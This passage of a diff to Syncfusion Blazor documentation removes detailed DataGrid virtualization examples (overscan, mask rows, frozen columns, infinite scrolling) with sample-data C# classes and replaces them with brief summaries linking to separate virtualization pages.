-        <GridColumn Field=@nameof(VirtualData.FIELD23) HeaderText="ThreeMade" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD24) HeaderText="PostGP" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD25) HeaderText="PostGS" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD26) HeaderText="PostMinutes" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD27) HeaderText="PostPoints" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD28) HeaderText="PostoRebounds" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD29) HeaderText="PostdRebounds" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD30) HeaderText="PostRebounds" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-    </GridColumns>
-</SfGrid>
-
-@code {
-    public List<VirtualData> GridData { get; set; }
-    protected override void OnInitialized()
-    {
-        GridData = VirtualData.GenerateData();
-    }   
-}
-
-{% endhighlight %}
-
-{% highlight cs tabtitle="VirtualData.cs" %}
-
-public class VirtualData
-{
-    public VirtualData(int sNo, string field1, int field2, int field3, int field4, int field5, int field6, int field7, int field8, int field9, int field10, int field11, int field12, int field13, int field14, int field15, int field16, int field17, int field18, int field19, int field20, int field21, int field22, int field23, int field24, int field25, int field26, int field27, int field28, int field29, int field30)
-    {
-        SNo = sNo;
-        FIELD1 = field1;
-        FIELD2 = field2;
-        FIELD3 = field3;
-        FIELD4 = field4;
-        FIELD5 = field5;
-        FIELD6 = field6;
-        FIELD7 = field7;
-        FIELD8 = field8;
-        FIELD9 = field9;
-        FIELD10 = field10;
-        FIELD11 = field11;
-        FIELD12 = field12;
-        FIELD13 = field13;
-        FIELD14 = field14;
-        FIELD15 = field15;
-        FIELD16 = field16;
-        FIELD17 = field17;
-        FIELD18 = field18;
-        FIELD19 = field19;
-        FIELD20 = field20;
-        FIELD21 = field21;
-        FIELD22 = field22;
-        FIELD23 = field23;
-        FIELD24 = field24;
-        FIELD25 = field25;
-        FIELD26 = field26;
-        FIELD27 = field27;
-        FIELD28 = field28;
-        FIELD29 = field29;
-        FIELD30 = field30;
-    }    
-    public static List<VirtualData> GenerateData()
-    {
-        var virtualData = new List<VirtualData>();
-        var random = new Random();
-        var names = new[] {
-            "hardire", "abramjo01", "aubucch01", "Hook", "Rumpelstiltskin", "Belle", "Emma", "Regina", "Aurora", "Elsa", 
-            "Anna", "Snow White", "Prince Charming", "Cora", "Zelena", "August", "Mulan", "Graham", "Discord", "Will", 
-            "Robin Hood", "Jiminy Cricket", "Henry", "Neal", "Red", "Aaran", "Aaren", "Aarez", "Aarman", "Aaron", "Aaron-James", 
-            "Aarron", "Aaryan", "Aaryn", "Aayan", "Aazaan", "Abaan", "Abbas", "Abdallah", "Abdalroof", "Abdihakim", "Abdirahman", 
-            "Abdisalam", "Abdul", "Abdul-Aziz", "Abdulbasir", "Abdulkadir", "Abdulkarem", "Abdulkhader", "Abdullah", 
-            "Abdul-Majeed", "Abdulmalik", "Abdul-Rehman", "Abdur", "Abdurraheem", "Abdur-Rahman", "Abdur-Rehmaan", "Abel", 
-            "Abhinav", "Abhisumant", "Abid", "Abir", "Abraham", "Abu", "Abubakar", "Ace", "Adain", "Adam", "Adam-James", 
-            "Addison", "Addisson", "Adegbola", "Adegbolahan", "Aden", "Adenn", "Adie", "Adil", "Aditya", "Adnan", "Adrian", 
-            "Adrien", "Aedan", "Aedin", "Aedyn", "Aeron", "Afonso", "Ahmad", "Ahmed", "Ahmed-Aziz", "Ahoua", "Ahtasham", 
-            "Aiadan", "Aidan", "Aiden", "Aiden-Jack", "Aiden-Vee"
-        };
-        for (var i = 0; i < 1000; i++)
-        {
-            virtualData.Add(new VirtualData(
-                i + 1,
-                names[random.Next(names.Length)],
-                1967 + (i % 10),
-                random.Next(200),
-                random.Next(100),
-                random.Next(2000),
-                random.Next(1000),
-                random.Next(100),
-                random.Next(10),
-                random.Next(10),
-                random.Next(100),
-                random.Next(100),
-                random.Next(1000),
-                random.Next(10),
-                random.Next(10),
-                random.Next(1000),
-                random.Next(200),
-                random.Next(300),
-                random.Next(400),
-                random.Next(500),
-                random.Next(700),
-                random.Next(800),
-                random.Next(1000),
-                random.Next(2000),
-                random.Next(150),
-                random.Next(1000),
-                random.Next(100),
-                random.Next(400),
-                random.Next(600),
-                random.Next(500),
-                random.Next(300)
-            ));
-        }
-        return virtualData;
-    }
-    public int SNo { get; set; }
-    public string FIELD1 { get; set; }
-    public int FIELD2 { get; set; }
-    public int FIELD3 { get; set; }
-    public int FIELD4 { get; set; }
-    public int FIELD5 { get; set; }
-    public int FIELD6 { get; set; }
-    public int FIELD7 { get; set; }
-    public int FIELD8 { get; set; }
-    public int FIELD9 { get; set; }
-    public int FIELD10 { get; set; }
-    public int FIELD11 { get; set; }
-    public int FIELD12 { get; set; }
-    public int FIELD13 { get; set; }
-    public int FIELD14 { get; set; }
-    public int FIELD15 { get; set; }
-    public int FIELD16 { get; set; }
-    public int FIELD17 { get; set; }
-    public int FIELD18 { get; set; }
-    public int FIELD19 { get; set; }
-    public int FIELD20 { get; set; }
-    public int FIELD21 { get; set; }
-    public int FIELD22 { get; set; }
-    public int FIELD23 { get; set; }
-    public int FIELD24 { get; set; }
-    public int FIELD25 { get; set; }
-    public int FIELD26 { get; set; }
-    public int FIELD27 { get; set; }
-    public int FIELD28 { get; set; }
-    public int FIELD29 { get; set; }
-    public int FIELD30 { get; set; }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjLoZWBlzonBSEEX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-### Overscan (buffered rendering)
-
-Overscan makes scrolling smoother by rendering a few extra rows above and below the visible area of the grid. These extra rows act as a buffer so the grid does not need to frequently update the DOM while you scroll. This reduces flickering and helps the grid feel more responsive.
-
-#### Configure Overscan
-
-* Set the [OverscanCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_OverscanCount) to control how many extra rows should be rendered above and below the visible area.
-* Use a higher value (e.g., 5–10) for smoother scrolling during fast scroll actions.
-* Use a lower value (e.g., 1–3) if you want to minimize memory usage.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Grids
-
-<SfGrid DataSource="@OrderData" Height="315" OverscanCount="5" EnableVirtualization="true" EnableColumnVirtualization="true">
-    <GridColumns>
-        <GridColumn Field=@nameof(OrderDetails.OrderID) HeaderText="Order ID" IsPrimaryKey="true" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(OrderDetails.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(OrderDetails.EmployeeID) HeaderText="Employee ID" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(OrderDetails.OrderDate) HeaderText="Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-        <GridColumn Field=@nameof(OrderDetails.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-        <GridColumn Field=@nameof(OrderDetails.ShipCountry) HeaderText="Ship Country" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(OrderDetails.ShipCity) HeaderText="Ship City" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(OrderDetails.ShipAddress) HeaderText="Ship Address" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(OrderDetails.ShippedDate) HeaderText="Shipped Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(OrderDetails.Verified) HeaderText="Verified" Type="ColumnType.Boolean" Width="150"></GridColumn>
-    </GridColumns>
-</SfGrid>
-
-@code {
-    public List<OrderDetails> OrderData { get; set; }
-    protected override void OnInitialized()
-    {
-        OrderData = OrderDetails.GetAllRecords();
-    }   
-}
-
-{% endhighlight %}
-
-{% highlight cs tabtitle="OrderDetails.cs" %}
-
-public class OrderDetails
-{
-    public static List<OrderDetails> order = new List<OrderDetails>();
-    public OrderDetails(int OrderID, string CustomerID, int EmployeeID, DateTime OrderDate, double Freight, string ShipCountry, string ShipCity, string ShipAddress, DateTime ShippedDate, bool Verified)
-    {
-        this.OrderID = OrderID;
-        this.CustomerID = CustomerID;
-        this.EmployeeID = EmployeeID;
-        this.OrderDate = OrderDate;
-        this.Freight = Freight;
-        this.ShipCountry = ShipCountry;
-        this.ShipCity = ShipCity;
-        this.ShipAddress = ShipAddress;
-        this.ShippedDate = ShippedDate;
-        this.Verified = Verified;
-    }
-    public static List<OrderDetails> GetAllRecords()
-    {
-        if (order.Count == 0)
-        {
-            int Code = 10247;
-            for (int i = 1; i < 500; i++)
-            {
-                order.Add(new OrderDetails(Code + 1, "VINET", i + 0, new DateTime(1991, 05, 15), 32.38, "Denmark", "Berlin", "Kirchgasse 6", new DateTime(1996, 7, 16), false));
-                order.Add(new OrderDetails(Code + 2, "HANAR", i + 2, new DateTime(1990, 04, 04), 58.17, "Brazil", "Madrid", "Avda. Azteca 123", new DateTime(1996, 9, 11), true));
-                order.Add(new OrderDetails(Code + 3, "TOMSP", i + 1, new DateTime(1957, 11, 30), 41.34, "Germany", "Cholchester", "Carrera 52 con Ave. Bolívar #65-98 Llano Largo", new DateTime(1996, 10, 7), true));
-                order.Add(new OrderDetails(Code + 4, "VICTE", i + 3, new DateTime(1930, 10, 22), 55.09, "Austria", "Marseille", "Magazinweg 7", new DateTime(1996, 12, 30), false));
-                order.Add(new OrderDetails(Code + 5, "SUPRD", i + 4, new DateTime(1953, 02, 18), 22.98, "Switzerland", "Tsawassen", "1029 - 12th Ave. S.", new DateTime(1997, 12, 3), true));
-                Code += 5;
-            }
-        }
-        return order;
-    }
-    public int OrderID { get; set; }
-    public string CustomerID { get; set; }
-    public int EmployeeID { get; set; }
-    public DateTime OrderDate { get; set; }
-    public double Freight { get; set; }
-    public string ShipCountry { get; set; }
-    public string ShipCity { get; set; }
-    public string ShipAddress { get; set; }
-    public DateTime ShippedDate { get; set; }
-    public bool Verified { get; set; }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBeDLNqVYqUifpB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-N> The `OverscanCount` property supports both local and remote data.
-
-### VirtualMaskRow (loading placeholders)
-
-VirtualMaskRow shows placeholder cells while the grid loads new data during virtualization. This helps users understand that data is still being fetched, especially with large datasets or when scrolling triggers data loads.
-
-When `VirtualMaskRow` is enabled, the grid reuses existing DOM elements and displays placeholders until real data becomes available.
-
-#### Configure VirtualMaskRow
-
-* Set [EnableVirtualMaskRow](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableVirtualMaskRow) to **true**.
-* Enable row virtualization ([EnableVirtualization](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableVirtualization)) or column virtualization ([EnableColumnVirtualization](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableColumnVirtualization)).
-* For the best results, set both [PageSize](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridPageSettings.html#Syncfusion_Blazor_Grids_GridPageSettings_PageSize) and [RowHeight](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RowHeight). This ensures accurate placeholder rendering and smooth scrolling performance.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Grids
-
-<SfGrid DataSource="@OrderData" Height="400" RowHeight="38" EnableVirtualMaskRow="true" EnableVirtualization="true" EnableColumnVirtualization="true">
-    <GridPageSettings PageSize="32"></GridPageSettings>
-    <GridColumns>
-        <GridColumn Field=@nameof(OrderDetails.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120" />
-        <GridColumn Field=@nameof(OrderDetails.CustomerID) HeaderText="Customer" Width="150" />
-        <GridColumn Field=@nameof(OrderDetails.OrderDate) HeaderText="Order Date" Type="ColumnType.Date" Format="d" TextAlign="TextAlign.Right" Width="130" />
-        <GridColumn Field=@nameof(OrderDetails.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120" />
-    </GridColumns>
-</SfGrid>
-
-@code {
-    public List<OrderDetails> OrderData { get; set; }
-
-    protected override void OnInitialized()
-    {
-        // Load a sufficiently large set to experience virtualization & placeholders.
-        OrderData = OrderDetails.GetAllRecords(1000);
-    }
-}
-
-{% endhighlight %}
-
-{% highlight cs tabtitle="OrderDetails.cs" %}
-
-public class OrderDetails
-{
-    public int OrderID { get; set; }
-    public string CustomerID { get; set; }
-    public DateTime OrderDate { get; set; }
-    public decimal Freight { get; set; }
-
-    public static List<OrderDetails> GetAllRecords(int count)
-    {
-        var list = new List<OrderDetails>();
-        var rnd = new Random(1);
-
-        for (int i = 1; i <= count; i++)
-        {
-            list.Add(new OrderDetails
-            {
-                OrderID = i,
-                CustomerID = "CUS-" + (1000 + i),
-                OrderDate = DateTime.Today.AddDays(-i),
-                Freight = Math.Round((decimal)rnd.NextDouble() * 500m, 2)
-            });
-        }
-
-        return list;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-### Frozen columns with virtualization
-
-Frozen columns remain fixed on the left or right side of the grid while the rest of the columns scroll horizontally. When used with virtualization, the grid renders only visible rows and columns, but the frozen columns stay in place. This improves performance without affecting usability.
-
-#### Configure frozen columns with virtualization
-
-* Set [IsFrozen](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_IsFrozen) to **true** for the columns you want to freeze.
-* Set [GridColumn.Freeze](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Freeze) to Left or Right.
-* Enable both row and column virtualization using [EnableVirtualization](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableVirtualization) and [EnableColumnVirtualization](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableColumnVirtualization).
-* Assign a fixed width to all columns.
-* Use a fixed grid height for smoother virtualization.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Grids
-
-<SfGrid DataSource="GridData" Height="300px" EnableHover="false" RowHeight="38" EnableVirtualization="true" EnableColumnVirtualization="true" EnableVirtualMaskRow="true">
-    <GridPageSettings PageSize="40"></GridPageSettings>
-    <GridColumns>
-        <GridColumn Field=@nameof(VirtualData.FIELD1) HeaderText="Player Name" IsFrozen="true" Freeze="FreezeDirection.Left" Width="140"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD2) HeaderText="Year" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD3) HeaderText="Stint" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD4) HeaderText="TMID" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD5) HeaderText="LGID" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD6) HeaderText="GP" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD7) HeaderText="GS" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD8) HeaderText="Minutes" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD9) HeaderText="Points" IsFrozen="true" Freeze="FreezeDirection.Right" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD10) HeaderText="oRebounds" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD11) HeaderText="dRebounds" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD12) HeaderText="Rebounds" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD13) HeaderText="Assists" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD14) HeaderText="Steals" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD15) HeaderText="Blocks" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD16) HeaderText="Turnovers" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD17) HeaderText="PF" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD18) HeaderText="fgAttempted" Width="150" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD19) HeaderText="fgMade" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD20) HeaderText="ftAttempted" Width="150" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD21) HeaderText="ftMade" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD22) HeaderText="ThreeAttempted" Width="150" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD23) HeaderText="ThreeMade" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD24) HeaderText="PostGP" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD25) HeaderText="PostGS" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD26) HeaderText="PostMinutes" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD27) HeaderText="PostPoints" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD28) HeaderText="PostoRebounds" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD29) HeaderText="PostdRebounds" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD30) HeaderText="PostRebounds" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-    </GridColumns>
-</SfGrid>
-
-@code {
-    public List<VirtualData> GridData { get; set; }
-    protected override void OnInitialized()
-    {
-        GridData = VirtualData.GenerateData();
-    }   
-}
-
-{% endhighlight %}
-
-{% highlight cs tabtitle="VirtualData.cs" %}
-
-public class VirtualData
-{
-    public VirtualData(int sNo, string field1, int field2, int field3, int field4, int field5, int field6, int field7, int field8, int field9, int field10, int field11, int field12, int field13, int field14, int field15, int field16, int field17, int field18, int field19, int field20, int field21, int field22, int field23, int field24, int field25, int field26, int field27, int field28, int field29, int field30)
-    {
-        SNo = sNo;
-        FIELD1 = field1;
-        FIELD2 = field2;
-        FIELD3 = field3;
-        FIELD4 = field4;
-        FIELD5 = field5;
-        FIELD6 = field6;
-        FIELD7 = field7;
-        FIELD8 = field8;
-        FIELD9 = field9;
-        FIELD10 = field10;
-        FIELD11 = field11;
-        FIELD12 = field12;
-        FIELD13 = field13;
-        FIELD14 = field14;
-        FIELD15 = field15;
-        FIELD16 = field16;
-        FIELD17 = field17;
-        FIELD18 = field18;
-        FIELD19 = field19;
-        FIELD20 = field20;
-        FIELD21 = field21;
-        FIELD22 = field22;
-        FIELD23 = field23;
-        FIELD24 = field24;
-        FIELD25 = field25;
-        FIELD26 = field26;
-        FIELD27 = field27;
-        FIELD28 = field28;
-        FIELD29 = field29;
-        FIELD30 = field30;
-    }    
-    public static List<VirtualData> GenerateData()
-    {
-        var virtualData = new List<VirtualData>();
-        var random = new Random();
-        var names = new[] {
-            "hardire", "abramjo01", "aubucch01", "Hook", "Rumpelstiltskin", "Belle", "Emma", "Regina", "Aurora", "Elsa", 
-            "Anna", "Snow White", "Prince Charming", "Cora", "Zelena", "August", "Mulan", "Graham", "Discord", "Will", 
-            "Robin Hood", "Jiminy Cricket", "Henry", "Neal", "Red", "Aaran", "Aaren", "Aarez", "Aarman", "Aaron", "Aaron-James", 
-            "Aarron", "Aaryan", "Aaryn", "Aayan", "Aazaan", "Abaan", "Abbas", "Abdallah", "Abdalroof", "Abdihakim", "Abdirahman", 
-            "Abdisalam", "Abdul", "Abdul-Aziz", "Abdulbasir", "Abdulkadir", "Abdulkarem", "Abdulkhader", "Abdullah", 
-            "Abdul-Majeed", "Abdulmalik", "Abdul-Rehman", "Abdur", "Abdurraheem", "Abdur-Rahman", "Abdur-Rehmaan", "Abel", 
-            "Abhinav", "Abhisumant", "Abid", "Abir", "Abraham", "Abu", "Abubakar", "Ace", "Adain", "Adam", "Adam-James", 
-            "Addison", "Addisson", "Adegbola", "Adegbolahan", "Aden", "Adenn", "Adie", "Adil", "Aditya", "Adnan", "Adrian", 
-            "Adrien", "Aedan", "Aedin", "Aedyn", "Aeron", "Afonso", "Ahmad", "Ahmed", "Ahmed-Aziz", "Ahoua", "Ahtasham", 
-            "Aiadan", "Aidan", "Aiden", "Aiden-Jack", "Aiden-Vee"
-        };
-        for (var i = 0; i < 1000; i++)
-        {
-            virtualData.Add(new VirtualData(
-                i + 1,
-                names[random.Next(names.Length)],
-                1967 + (i % 10),
-                random.Next(200),
-                random.Next(100),
-                random.Next(2000),
-                random.Next(1000),
-                random.Next(100),
-                random.Next(10),
-                random.Next(10),
-                random.Next(100),
-                random.Next(100),
-                random.Next(1000),
-                random.Next(10),
-                random.Next(10),
-                random.Next(1000),
-                random.Next(200),
-                random.Next(300),
-                random.Next(400),
-                random.Next(500),
-                random.Next(700),
-                random.Next(800),
-                random.Next(1000),
-                random.Next(2000),
-                random.Next(150),
-                random.Next(1000),
-                random.Next(100),
-                random.Next(400),
-                random.Next(600),
-                random.Next(500),
-                random.Next(300)
-            ));
-        }
-        return virtualData;
-    }
-    public int SNo { get; set; }
-    public string FIELD1 { get; set; }
-    public int FIELD2 { get; set; }
-    public int FIELD3 { get; set; }
-    public int FIELD4 { get; set; }
-    public int FIELD5 { get; set; }
-    public int FIELD6 { get; set; }
-    public int FIELD7 { get; set; }
-    public int FIELD8 { get; set; }
-    public int FIELD9 { get; set; }
-    public int FIELD10 { get; set; }
-    public int FIELD11 { get; set; }
-    public int FIELD12 { get; set; }
-    public int FIELD13 { get; set; }
-    public int FIELD14 { get; set; }
-    public int FIELD15 { get; set; }
-    public int FIELD16 { get; set; }
-    public int FIELD17 { get; set; }
-    public int FIELD18 { get; set; }
-    public int FIELD19 { get; set; }
-    public int FIELD20 { get; set; }
-    public int FIELD21 { get; set; }
-    public int FIELD22 { get; set; }
-    public int FIELD23 { get; set; }
-    public int FIELD24 { get; set; }
-    public int FIELD25 { get; set; }
-    public int FIELD26 { get; set; }
-    public int FIELD27 { get; set; }
-    public int FIELD28 { get; set; }
-    public int FIELD29 { get; set; }
-    public int FIELD30 { get; set; }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNhIDshOhHwVXCEM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-### Infinite scrolling
-
-Infinite scrolling loads additional data automatically as you scroll down. Instead of loading everything at once, the grid loads data in blocks. This keeps performance fast even when working with very large datasets.
-
-#### Configure infinite scrolling
-
-* Set [EnableInfiniteScrolling](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableInfiniteScrolling) to **true** on the grid.
-* Assign a fixed pixel [Height](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Height) to the grid.
-* Set [PageSize](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridPageSettings.html#Syncfusion_Blazor_Grids_GridPageSettings_PageSize) to control how many rows load in each block.
-
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Grids
-
-<SfGrid DataSource="@TaskData" Height="300" EnableInfiniteScrolling="true">
-    <GridPageSettings PageSize="50"></GridPageSettings>
-    <GridColumns>
-        <GridColumn Field=@nameof(TaskDetails.TaskID) HeaderText="TaskID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-        <GridColumn Field=@nameof(TaskDetails.Engineer) HeaderText="Engineer" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(TaskDetails.Designation) HeaderText="Designation" Width="130"></GridColumn>
-        <GridColumn Field=@nameof(TaskDetails.Estimation) HeaderText="Estimation" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-        <GridColumn Field=@nameof(TaskDetails.Status) HeaderText="Status" Width="150"></GridColumn>
-    </GridColumns>
-</SfGrid>
-
-@code{
-    public List<TaskDetails> TaskData { get; set; }
-    protected override void OnInitialized()
-    {
-        TaskData = TaskDetails.GenerateData(5000);
-    }  
-}
-{% endhighlight %}
-
-{% highlight cs tabtitle="TaskDetails.cs" %}
-public class TaskDetails
-{
-    public static List<TaskDetails> GenerateData(int count)
-    {
-        var names = new List<string> { "TOM", "Hawk", "Jon", "Chandler", "Monica", "Rachel", "Phoebe", "Gunther", "Ross", "Geller", "Joey", "Bing", "Tribbiani", "Janice", "Bong", "Perk", "Green", "Ken", "Adams" };
-        var hours = new List<int> { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };
-        var designations = new List<string> { "Manager", "Engineer 1", "Engineer 2", "Developer", "Tester" };
-        var statusValues = new List<string> { "Completed", "Open", "In Progress", "Review", "Testing" };
-        var random = new Random();
-        var result = new List<TaskDetails>();
-        // Generate random data.
-        for (int i = 0; i < count; i++)
-        {
-            result.Add(new TaskDetails
-            {
-                TaskID = i + 1,
-                Engineer = names[random.Next(names.Count)],
-                Designation = designations[random.Next(designations.Count)],
-                Estimation = hours[random.Next(hours.Count)],
-                Status = statusValues[random.Next(statusValues.Count)]
-            });
-        }
-        return result;
-    }
-    public int TaskID { get; set; }
-    public string Engineer { get; set; }
-    public string Designation { get; set; }
-    public int Estimation { get; set; }
-    public string Status { get; set; }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjreXMrOAPkHeOht?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
+The [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports several virtualization features that help it handle large datasets efficiently.
 
-## ListView virtualization
+For complete virtualization guidance, see:
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor ListView](https://www.syncfusion.com/blazor-components/blazor-listview) supports UI virtualization, which helps improve performance when working with large datasets. Instead of rendering all items at once, only the items visible within the viewport are created. This keeps the component responsive and reduces memory usage even when the list contains thousands of records.
+* [Virtual Scrolling in Blazor DataGrid](https://blazor.syncfusion.com/documentation/datagrid/virtual-scrolling)
+* [Infinite Scrolling in Blazor DataGrid](https://blazor.syncfusion.com/documentation/datagrid/infinite-scrolling)
 
-#### Configure ListView virtualization
+## Scheduler virtualization
 
-Virtualization can be enabled by setting the [`EnableVirtualization`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Lists.SfListView-1.html#Syncfusion_Blazor_Lists_SfListView_1_EnableVirtualization) property to **true**.
+The [Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler) supports virtual scrolling to efficiently render large appointment collections and improve timeline performance. This helps reduce DOM size and keeps the scheduler responsive when working with extensive schedules.
 
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+For complete virtualization guidance, see:
 
-@using Syncfusion.Blazor.Lists
+* [Virtual Scrolling in Blazor Scheduler](https://blazor.syncfusion.com/documentation/scheduler/virtual-scrolling)
 
-<SfListView DataSource="@ListData" EnableVirtualization="true">
-    <ListViewFieldSettings TValue="DataModel" Id="Id" Text="Text"></ListViewFieldSettings>
-</SfListView>
+## ListView virtualization
 
-@code{
-    List<DataModel> ListData = new List<DataModel>();
+The [Blazor ListView](https://www.syncfusion.com/blazor-components/blazor-listview) supports UI virtualization, which improves performance when working with large datasets. Instead of rendering all items at once, only the items visible within the viewport are created. This keeps the component responsive and reduces memory usage even when the list contains thousands of records.
 
-    protected override void OnInitialized()
-    {
-        base.OnInitialized();
-        ListData.Add(new DataModel { Text = "Nancy", Id = "0" });
-        ListData.Add(new DataModel { Text = "Andrew", Id = "1" });
-        ListData.Add(new DataModel { Text = "Janet", Id = "2" });
-        ListData.Add(new DataModel { Text = "Margaret", Id = "3" });
